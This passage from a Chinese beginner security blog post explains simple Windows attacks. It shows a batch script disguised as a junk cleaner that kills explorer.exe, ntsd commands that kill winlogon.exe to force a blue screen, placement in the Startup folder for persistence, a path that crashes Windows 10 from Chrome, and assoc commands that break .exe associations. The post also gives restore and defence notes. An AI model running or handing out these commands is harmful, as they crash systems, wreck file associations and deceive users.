还有计划任务、系统服务、DLL劫持、自动播放机制Autorun.inf都需要进行恶意自动启检查。比如在Win10自启动目录删除指定的恶意程序。

*  C:\\Users\\xxxx\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 22]

--------------------

# 三.进程关闭脚本 #

再看一个伪装的批处理代码。该命令执行杀死进程功能，“/im explorer.exe”表示要杀死的进程名称，如关闭桌面；“/f”表示强制杀死；“>nul”表示在屏幕上不要输出任何信息。

*  taskkill /im explorer.exe /f >nul 2>nul

完整代码如下所示，其中“Start c:\\windows\\expolrer.exe”表示继续开启桌面，“ping -n 5 127.0.0.1>nul”用于消耗时间。

@echo off
    title 系统垃圾清理
    color 2f
    echo 	=====若有杀毒软件恶意拦截，请选择【允许程序的所有操作】====
    echo.
    echo.
    echo.
    echo 	=====垃圾清理中，请不要关闭窗口=========
    echo.
    ping -n 5 127.0.0.1>nul
    taskkill /im explorer.exe /f >nul 2>nul
    echo.
    echo 	=====拐了，你的系统已经废了=======
    echo.
    ping -n 5 127.0.0.1>nul
    echo.
    Start c:\windows\explorer.exe
    echo.
    echo 	=====已经修复好！是不是吓坏了！！O(∩_∩)O==========
    pause

运行该批处理程序，桌面会消失，如下图所示。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 26]

过一会桌面又会恢复。由于作者桌面东西太乱，这里仅显示壁纸展示。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 27]

--------------------

# 四.蓝屏攻击机理 #

蓝屏死机称为BSOD（Blue Screen of Death），也是常见的攻击行为，尤其是某些CVE漏洞复现过程，在进行提权尝试前都会先实现蓝屏攻击功能，其危害极大。

## 1.bat脚本实现蓝屏攻击 ##

基本步骤如下：

*  新建文本文档
 *  输入：ntsd -c q -pn winlogon.exe，表示强制杀死进程
 *  后缀txt修改为bat
 *  开始->程序->启动，打开game.bat文件

黑客很少攻击个人，一般攻击服务器，该命令对2003的服务器特别有杀伤力。

![在这里插入图片描述][20200202194807406.png_pic_center]

双击之后，服务器直接蓝屏显示并重启。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 28]

ntsd从Windows 2000开始就是系统自带的进程调试工具，在system32目录下。ntsd的功能非常的强大，用法也比较复杂，但如果只用来结束一些进程，那就比较简单了。在Windows中只有System、SMSS.EXE和CSRSS.EXE不能杀。前两个是纯内核态的，最后那个是Win32子系统，ntsd本身需要它。lsass.exe也不要杀掉，它是负责本地账户安全的。被调试器附着的进程会随调试器一起退出，所以可以用来在命令行下终止进程。

打开cmd 后输入以下命令就可以结束进程：

*  **方法一：利用进程的PID结束进程**  
    命令格式：ntsd -c q -p pid  
    命令范例： ntsd -c q -p 1332 （结束explorer.exe进程）

范例详解：explorer.exe的pid为1332，但是如何获取进程的pid呢？在CMD下输入TASKLIST就可以获取当前任务管理器所有进程的PID。或者打开任务管理器，在菜单栏，选择“查看”->“选择列”，在打开的选择项窗口中将“PID（进程标识符）”项选择钩上，这样任务管理器的进程中就会多出PID一项了。PID的分配并不固定，是在进程启动是由系统随机分配的，所以进程每次启动的进程一般都不会一样。

*  **方法二：利用进程名结束进程**  
    命令格式：ntsd -c q -pn xxxx.exe （xxxx.exe 为进程名，exe不能省）  
    命令范例：ntsd -c q -pn explorer.exe

另外的能结束进程的DOS命令还有taskkill和tskill命令。

--------------------

## 2.最新漏洞Chrome致Win10蓝屏复现 ##

接着补充一个2021年初大家会遇到的Chrome浏览器导致Win10蓝屏的漏洞。

**第一步，在Win10谷歌浏览器（建议使用虚拟机测试）中输入命令。**

\\.\globalroot\device\condrv\kernelconnect

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 29]

**第二步，我们的计算机就会自动蓝屏重启。**  
该漏洞请勿轻易测试，个人虚拟机测试前先保存好资料。漏洞可用于拒绝服务攻击，并且微软还未修复该漏洞，微软edge浏览器也具有相同的效果。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 30]

**第三步，分析漏洞原因，参考bleepingcomputer网站。**

*  [www.bleepingcomputer.com][]

该Windows 10中的错误是通过在浏览器的地址栏中打开特定路径或使用其他Windows命令，即可使操作系统崩溃并显示蓝屏死机。据BleepingComputer了解，这是Windows安全研究人员在Twitter上披露的两个错误，攻击者可以在各种攻击中滥用这些错误。

*  第一个错误允许无特权的用户或程序输入单个命令，该命令会导致NTFS卷被标记为已损坏。该测试表明该命令导致硬盘驱动器损坏，从而导致Windows无法启动。
 *  第二个漏洞是Windows 10通过尝试打开一条异常路径而导致BSOD（Blue Screen of Death，蓝屏死机）崩溃，致使电脑蓝屏重启。

自去年10月以来，Windows安全研究员Jonas Lykkegaard已经多次在推特上发布了一个路径，当输入到 Chrome 浏览器地址栏时，该路径会立即导致Windows 10崩溃并显示BSOD（蓝屏死机）。

当开发人员想要直接与Windows设备进行交互时，他们可以将Win32设备命名空间路径作为参数传递给Windows编程函数。例如，允许应用程序直接与物理磁盘进行交互，而无需通过文件系统。Lykkegaard告诉BleepingComputer，他发现了以下 “控制台多路复用器驱动程序” 的 Win32 设备命名空间路径，他认为该路径用于 “内核/用户模式ipc”。当以各种方式打开该路径时，即使是低权限用户，也会导致 Windows 10 崩溃。

\\.\globalroot\device\condrv\kernelconnect

**当连接到该设备时，开发人员应传递“ attach”扩展属性以与该设备正确通信。如果你试图在没有传递属性的情况下由于错误检查不当而连接到该路径，它将导致一个异常，最终导致Win10出现BSOD崩溃。**

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 31]

更糟糕的是，特权低的Windows用户可以尝试使用此路径连接到设备，从而使计算机上执行的任何程序都很容易让Windows 10崩溃。在测试中，已经确认此错误在Windows 10 1709版及以后的版本中存在。

--------------------

# 五.简单的扩展名修改恶意攻击 #

将文件格式修改或文档加密都是常见的病毒，比如永恒之蓝、勒索病毒等，它们就是将电脑内的所有资料、文档加密，当你要打开文件时，需要密码，此时通过比特币付费进行勒索。

下面这个小操作是将exe文件修改为txt文档。当遇到可执行的exe文件，会认为它是一个txt文档，用记事本打开，导致可执行程序运行不起来，这是就是这个病毒的原理。

*  新建文本文档
 *  增加代码：assoc.exe=txtfile
 *  txt修改为bat
 *  开始->程序->启动，打开bat文件

双击运行bat文件之后，我们的可执行文件就变成了txt文件。此时系统认为exe就是txt程序，把系统的关联搞混乱了，它恢复起来很麻烦。

![在这里插入图片描述][20191112122032556.png_pic_center]

EXE程序打开如下图所示。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 32]

甚至打开CMD都是TXT文本文件。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 33]

接着需要执行下面的命令还原exe文件。

*  assoc.exe=exefile

还原的代码及效果如下图所示。

![在这里插入图片描述][20191112122036201.png_pic_center]

![在这里插入图片描述][20191112121925274.png_pic_center]

其他所有文件格式都转换为txt文件，如下所示。此时，如果隐藏文件扩展名，甚至可以修改图标伪装成目标应用，当用户点击时会执行这些破坏；但由于不知道目标是否有隐藏文件扩展名，还是不建议这种“笨”方法。

assoc .htm=txtfile
    assoc .dat=txtfile
    assoc .com=txtfile
    assoc .rar=txtfile
    assoc .gho=txtfile
    assoc .mvb=txtfile
    ...

**解决方法：**  
如果您不幸中了该病毒，怎么解决呢？如下图所示，还原所有正确关联即可。

![在这里插入图片描述][2020020219582228.png_pic_center_pic_center]

当然，还有一些恶意功能，比如VBS脚本、网页弹窗（网站钓鱼）等，这里不再讲解。如果把病毒程序放到启动项，每次开机都会自动执行。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 34]

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 35]

--------------------

# 六.总结 #

写到这里，这篇文章就介绍结束了，希望对您有所帮助，尤其是想成为白帽子和安全防御人员，这些基础知识都将对你系统安全入门有一定作用。这里再次感谢参考文献的各位大佬，也推荐大家阅读参考文献的文章和视频。文章存在一些不足，作者没有深入理解其原理，也是作为网络安全初学者的慢慢成长路吧！希望未来能更透彻撰写相关文章。

*  **一.批处理病毒机理**  
    1.bat脚本实现关机  
    2.修改密码和定时关机脚本  
    3.脚本病毒防御
 *  **二.自启动恶意攻击机理**  
    1.bat脚本实现自启动  
    2.WinRAR恶意劫持自启动（CVE-2018-20250）  
    3.恶意自启动防御
 *  **三.进程关闭脚本**
 *  **四.蓝屏攻击机理**  
    1.bat脚本实现蓝屏攻击  
    2.最新漏洞Chrome致Win10蓝屏复现
 *  **五.简单的扩展名修改恶意攻击**

**学安全一年，认识了很多安全大佬和朋友，希望大家一起进步。这篇文章中如果存在一些不足，还请海涵。作者作为网络安全和系统安全初学者的慢慢成长路吧！希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享，感谢师傅、实验室小伙伴的教导，深知自己很菜，得努力前行。编程没有捷径，逆向也没有捷径，它们都是搬砖活，少琢磨技巧，干就对了。什么时候你把攻击对手按在地上摩擦，你就赢了，也会慢慢形成了自己的安全经验和技巧。加油吧，少年希望这个路线对你有所帮助，共勉。**

**欢迎大家讨论，是否觉得这系列文章帮助到您！如果存在不足之处，还请海涵。任何建议都可以评论告知读者，共勉~**

2020年8月18新开的“娜璋AI安全之家”，主要围绕Python大数据分析、网络空间安全、人工智能、Web渗透及攻防技术进行讲解，同时分享CCF、SCI、南核北核论文的算法实现。娜璋之家会更加系统，并重构作者的所有文章，从零讲解Python和安全，写了近十年文章，真心想把自己所学所感所做分享出来，还请各位多多指教，真诚邀请您的关注！谢谢。

![20200819045459172.png][]

(By:Eastmount 2021-02-03 星期三 凌晨夜于贵阳 [http://blog.csdn.net/eastmount/][http_blog.csdn.net_eastmount] )

--------------------

**参考文献：**  
\[1\] [2019 黑客入门基础Windows网络安全精讲 - B站千峰教育史密斯老师][2019 _Windows_ - B]  
\[2\] [https://github.com/eastmountyxz/NetworkSecuritySelf-study][https_github.com_eastmountyxz_NetworkSecuritySelf-study]  
\[3\] [\[网络安全自学篇\] 二十五.Web安全学习路线及木马、病毒和防御初探][_.Web]  
\[4\] [https://www.bilibili.com/video/av60018118 (B站白帽黑客教程)][https_www.bilibili.com_video_av60018118 _B]  
\[5\] [https://www.bilibili.com/video/av63038037 (B站HACK学习)][https_www.bilibili.com_video_av63038037 _B_HACK]  
\[6\] [https://www.bilibili.com/video/av68215785 (2019 网络安全/黑客基础课程新手入门必看)][https_www.bilibili.com_video_av68215785 _2019]

--------------------

[-100]: https://blog.csdn.net/eastmount/category_9183790.html
[https_github.com_eastmountyxz_SystemSecurity-ReverseAnalysis]: https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis
[https_github.com_eastmountyxz_NetworkSecuritySelf-study]: https://github.com/eastmountyxz/NetworkSecuritySelf-study
[_.]: https://blog.csdn.net/eastmount/article/details/108708564
[_. 1]: https://blog.csdn.net/eastmount/article/details/108832086
[_.IDA Pro]: https://blog.csdn.net/eastmount/article/details/108881705
[_.OllyDbg_Crakeme]: https://blog.csdn.net/Eastmount/article/details/108956863
[_.OllyDbg_Cheat Engine]: https://blog.csdn.net/Eastmount/article/details/109107692
[_. 2]: https://blog.csdn.net/Eastmount/article/details/110944699
[_._PE_C_OllyDbg]: https://blog.csdn.net/Eastmount/article/details/111027618
[_.Windows_CVE-2019-0708]: https://blog.csdn.net/Eastmount/article/details/111085560
[_.Windows_MS08-067]: https://blog.csdn.net/Eastmount/article/details/111341612
[_.Windows_SMBv3_CVE-2020-0796]: https://blog.csdn.net/Eastmount/article/details/111518785
[_._PE]: https://blog.csdn.net/Eastmount/article/details/111706890
[_._IDA_OD]: https://blog.csdn.net/Eastmount/article/details/111769346
[_._IDA_OD 1]: https://blog.csdn.net/Eastmount/article/details/111999346
[_._IDA_OD 2]: https://blog.csdn.net/Eastmount/article/details/111712482
[_.Chrome]: https://blog.csdn.net/Eastmount/article/details/112852434
[_.PE_PE_PE_PE]: https://blog.csdn.net/Eastmount/article/details/113141466
[_.Windows PE]: https://blog.csdn.net/Eastmount/article/details/113527586
[_._WinRAR]: https://blog.csdn.net/Eastmount/article/details/113574883
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center]: /images/20221024/81b697dec18443bf97bb9f718169008b.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 1]: /images/20221024/dff8fc0577a04d1791e3a224a20d1dba.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 2]: /images/20221024/573025e3996648628cc54af87479b3ac.png
[20191112105451630.png_pic_center]: /images/20221024/e2fbb4d63a00409695729d435d3a9120.png
[20191112105608263.png_pic_center]: /images/20221024/3ef967ba81a14701b0ead4555aff89aa.png
[2020020217112233.png_pic_center]: /images/20221024/33985c06901e43b89d4cd8d5e0dcbba0.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 3]: /images/20221024/a76118aa49dd4b0ba0422827cb2e7da3.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 4]: /images/20221024/fb98c5a1712b40438d8ce66f34f3978d.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 5]: /images/20221024/b5f2f91318c843c09abf3e6744e7857b.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 6]: /images/20221024/33f0d8ab82304818a2584f03c808c003.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 7]: /images/20221024/46f52c6d310b4a10be41c63dfa7280be.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 8]: /images/20221024/3b76554d066442c78e6833c31bbd4677.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 9]: /images/20221024/91722c1e133d49f9946fae5d5e4a5861.png
[20210202223927526.png_pic_center]: /images/20221024/daba00a20f4a4e52afec8b6e23117b61.png
[20210202225603496.png_pic_center]: /images/20221024/2ba8f626946c4006b6acf3ab00eaab96.png
[20200203172526883.png_pic_center]: /images/20221024/781ecac253c04ac6858b80fde0c18ae1.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 10]: /images/20221024/987fa05ebfaf4f5188f99615d9c0d31a.png
[20200202191117846.png_pic_center]: /images/20221024/b567f5c40f64406caae23849e8b0ce46.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 11]: /images/20221024/6d37e52b82f1428e927503f061babc51.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 12]: /images/20221024/5e19f8e33146476ba8ba87892b3a63b9.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 13]: /images/20221024/b1dff4637d7d45e89e53e82292209c38.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 14]: /images/20221024/9a4b57cbab8447f592ec941c7aa051df.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 15]: /images/20221024/19d395acd91b4f9e9784faedfc434bae.png
[2020010721032621.png_pic_center]: /images/20221024/3dfdde8e872d4fc1a5ad7ff1c2691a3d.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 16]: /images/20221024/8f4ef7f42d6a4925ab8812d0748e1615.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 17]: /images/20221024/3dc750385207411695400deb62cbdc00.png
[https_github.com_backlion_CVE-2018-20250]: https://github.com/backlion/CVE-2018-20250
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 18]: /images/20221024/9f71631dedfa4ef98c84cecc0a0d0b03.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 19]: /images/20221024/9e6553fb361341df80df6e1fbcc1a364.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 20]: /images/20221024/31c5702fc221452690c1829ef8c043dd.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 21]: /images/20221024/00084e122c8d42f7a6b8ab82d750f2fe.png
[20200108172301854.png_pic_center]: /images/20221024/dae44befc3484bc08fee5b37f38101a7.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 22]: /images/20221024/e7fb8d74118c46498f6dc30fb97db930.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 23]: /images/20221024/da3e579ddf704c24ac31407f9f98f748.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 24]: /images/20221024/020f80fd14944ee5a940b80eeaf1f716.png
[20210202235944613.png_pic_center]: /images/20221024/7ac4f573b0d549c0bbcde71a71bedfd5.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 25]: /images/20221024/7919881be55a44e18f7dbfa08e141254.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 26]: /images/20221024/ce394f3d72b543f194498f1453d74756.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 27]: /images/20221024/8ab49d9dd3ba4147b3d416b779b1e830.png
[20200202194807406.png_pic_center]: /images/20221024/f23f394c38af4ba2860affb933ccb233.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 28]: /images/20221024/cda5c97eb9dd49a3ac0eabd2b4e2c4f3.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 29]: /images/20221024/d461e2f0ba41451eb81b2f78f0b0c168.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 30]: /images/20221024/f0b3d913ba9d4f49829d476253fd868c.png
[www.bleepingcomputer.com]: https://www.bleepingcomputer.com/news/security/windows-10-bug-crashes-your-pc-when-you-access-this-location/
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 31]: /images/20221024/e0793ed54f7343b2b1076e138c8d6425.png
[20191112122032556.png_pic_center]: /images/20221024/a7bfd18ac09841f48a1c710f790903f7.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 32]: /images/20221024/f74c4344395a41e0a9462fae4ae8ac07.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 33]: /images/20221024/587c17dbd099457290265e7efbddf0d0.png
[20191112122036201.png_pic_center]: /images/20221024/bd0378206b4a4c78865a17541fbd46de.png
[20191112121925274.png_pic_center]: /images/20221024/eb958345fbc2432488ef3fc57fe7dd92.png
[2020020219582228.png_pic_center_pic_center]: /images/20221024/4129542ca9264c79837f69a44290d00b.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 34]: /images/20221024/0e489a70097e4c7a82047bb41815236c.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 35]: /images/20221024/e3906ee099d54240882795cab0de7def.png
[20200819045459172.png]: /images/20221024/55b5defd4636432f9870eb48de61274a.png
[http_blog.csdn.net_eastmount]: http://blog.csdn.net/eastmount/
[2019 _Windows_ - B]: https://www.bilibili.com/video/av75069584?p=6
[_.Web]: https://blog.csdn.net/Eastmount/article/details/103018495
[https_www.bilibili.com_video_av60018118 _B]: https://www.bilibili.com/video/av60018118
[https_www.bilibili.com_video_av63038037 _B_HACK]: https://www.bilibili.com/video/av63038037
[https_www.bilibili.com_video_av68215785 _2019]: https://www.bilibili.com/video/av68215785